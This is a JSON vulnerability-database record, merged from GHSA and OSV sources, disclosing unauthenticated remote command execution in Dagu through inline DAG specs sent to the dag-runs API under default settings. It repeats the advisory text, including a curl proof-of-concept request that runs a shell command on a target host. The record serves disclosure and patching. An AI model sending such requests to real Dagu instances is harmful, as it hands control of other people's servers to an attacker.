{"id":"GHSA-6qr9-g2xw-cw92","aliases":["GO-2026-4527"],"status":"published","title":"Dagu affected by unauthenticated RCE via inline DAG spec in default configuration","description":"### Summary\nDagu's default configuration ships with authentication disabled. The `POST /api/v2/dag-runs` endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.\n\n### Details\n`internal/service/app/config/loader.go:226` sets `AuthModeNone` as the default. With no auth mode configured, `internal/frontend/api/v2/handlers/api.go:520` returns `nil` from `requireExecute()` — all permission checks pass without a valid session.\n\nThe `POST /api/v2/dag-runs` endpoint accepts a `spec` field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.\n\n### PoC\n```bash\ncurl -s -X POST http://TARGET:8080/api/v2/dag-runs \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"poc\",\"spec\":\"steps:\\n  - name: rce\\n    command: id \u003e /tmp/pwned\\n\"}'\n# Response: {\"dagRunId\":\"\u003cuuid\u003e\"}\n# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)\n```\nConfirmed on `ghcr.io/dagu-org/dagu:latest` with no configuration changes.\n\n### Impact\nEvery dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit `DAGU_AUTH_MODE` configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-306"],"published":"2026-02-19T22:04:39Z","modified":"2026-02-23T19:26:21Z","affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/dagu-org/dagu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.30.3"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/dagu-org/dagu","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.30.3"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/dagu-org/dagu","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"references":[{"url":"https://github.com/dagu-org/dagu/security/advisories/GHSA-6qr9-g2xw-cw92","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-6qr9-g2xw-cw92"},{"url":"https://github.com/dagu-org/dagu","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-6qr9-g2xw-cw92","title":"Dagu affected by unauthenticated RCE via inline DAG spec in default configuration","description":"### Summary\nDagu's default configuration ships with authentication disabled. The `POST /api/v2/dag-runs` endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.\n\n### Details\n`internal/service/app/config/loader.go:226` sets `AuthModeNone` as the default. With no auth mode configured, `internal/frontend/api/v2/handlers/api.go:520` returns `nil` from `requireExecute()` — all permission checks pass without a valid session.\n\nThe `POST /api/v2/dag-runs` endpoint accepts a `spec` field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.\n\n### PoC\n```bash\ncurl -s -X POST http://TARGET:8080/api/v2/dag-runs \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"poc\",\"spec\":\"steps:\\n  - name: rce\\n    command: id \u003e /tmp/pwned\\n\"}'\n# Response: {\"dagRunId\":\"\u003cuuid\u003e\"}\n# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)\n```\nConfirmed on `ghcr.io/dagu-org/dagu:latest` with no configuration changes.\n\n### Impact\nEvery dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit `DAGU_AUTH_MODE` configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.","status":"published","published":"2026-02-19T22:04:39Z","modified":"2026-02-20T21:44:36Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T14:39:26.881079Z"}],"osv":[{"id":"GHSA-6qr9-g2xw-cw92","title":"Dagu affected by unauthenticated RCE via inline DAG spec in default configuration","description":"### Summary\nDagu's default configuration ships with authentication disabled. The `POST /api/v2/dag-runs` endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.\n\n### Details\n`internal/service/app/config/loader.go:226` sets `AuthModeNone` as the default. With no auth mode configured, `internal/frontend/api/v2/handlers/api.go:520` returns `nil` from `requireExecute()` — all permission checks pass without a valid session.\n\nThe `POST /api/v2/dag-runs` endpoint accepts a `spec` field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.\n\n### PoC\n```bash\ncurl -s -X POST http://TARGET:8080/api/v2/dag-runs \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"poc\",\"spec\":\"steps:\\n  - name: rce\\n    command: id \u003e /tmp/pwned\\n\"}'\n# Response: {\"dagRunId\":\"\u003cuuid\u003e\"}\n# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)\n```\nConfirmed on `ghcr.io/dagu-org/dagu:latest` with no configuration changes.\n\n### Impact\nEvery dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit `DAGU_AUTH_MODE` configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.","status":"published","published":"2026-02-19T22:04:39Z","modified":"2026-02-23T19:26:21.632734Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T15:46:39.965326Z"},{"id":"GO-2026-4527","title":"Dagu affected by unauthenticated RCE via inline DAG spec in default configuration in github.com/dagu-org/dagu","description":"Dagu affected by unauthenticated RCE via inline DAG spec in default configuration in github.com/dagu-org/dagu","status":"published","published":"2026-02-23T18:23:15Z","modified":"2026-02-23T19:26:21.632734Z","updated_at":"2026-11-02T15:47:02.280725Z"}]}}
